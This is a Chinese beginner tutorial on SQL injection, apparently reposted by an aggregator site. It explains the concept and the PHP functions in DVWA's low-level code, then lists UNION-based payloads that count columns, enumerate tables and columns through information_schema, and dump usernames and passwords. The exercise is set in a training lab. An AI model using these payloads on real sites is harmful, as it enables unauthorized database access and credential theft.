sql注入初级
Posted 滨院网安
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入初级相关的知识,希望对你有一定的参考价值。
理论:
SQL Injection:通过把SQL
命令插入到Web
表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL
命令。具体来说,它是利用现有应用程序,将(恶意)的SQL
命令注入到后台数据库引擎执行的能力,它可以通过在Web
表单中输入(恶意)SQL
语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL
语句。
什么时候可能发生SQL Injection
?
假设我们在浏览器中输入URL
www.sample.com
,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection
,当我们输入www.sample.com?testid=23
时,我们在URL中传递变量testid
,并且提供值为23
,由于它是对数据库进行动态查询的请求(其中?testid=23
表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL
语句。
实践:
打开DVWA,改到low级别
先分析一下源代码,点击View Source获取源代码
1当在User ID中输入1时,代码如下,php代码分析
先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,之后再数据库中查询数据,将结果输出给result,从结果集中取得一行关联数组赋值到row,依次输出first name,sunname。最后关闭函数。
2函数分析:
(1)Isset()函数:
isset() 函数用于检测变量是否已设置并且非 NULL。
如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
同时要注意的是 null 字符(" ")并不等同于 PHP 的 NULL 常量。
语法
bool isset ( mixed $var [, mixed $... ] )
参数说明:
$var:要检测的变量。
如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回 TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
返回值
如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
(2)mysqli_query()函数
定义和用法
mysqli_query() 函数执行某个针对数据库的查询。
语法
mysqli_query(connection,query,resultmode);
(3)die()函数
定义和用法
die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名。
语法
die(message)
(4)GLOBALS全局变量
GLOBALS — 引用全局作用域中可用的全部变量
(5)mysqli()函数
详情请看https://www.runoob.com/php/php-ref-mysqli.html
3进行实际操作
判断sql语句查询列数
输入1' order by 1# 显示存在
输入1' order by 2# 显示存在
输入1' order by 3# 出错
所以说有两列
1’ union select 1,2#用来查询数据的位置
获取数据库名
1' union select database(),2#
获取表名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
获取表的列名
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
获取数据
1' union select group_concat(user),group_concat(password) from users#
本文介绍的是初级SQL注入,将持续更新SQL注入中级,高级以及盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!
以上是关于sql注入初级的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段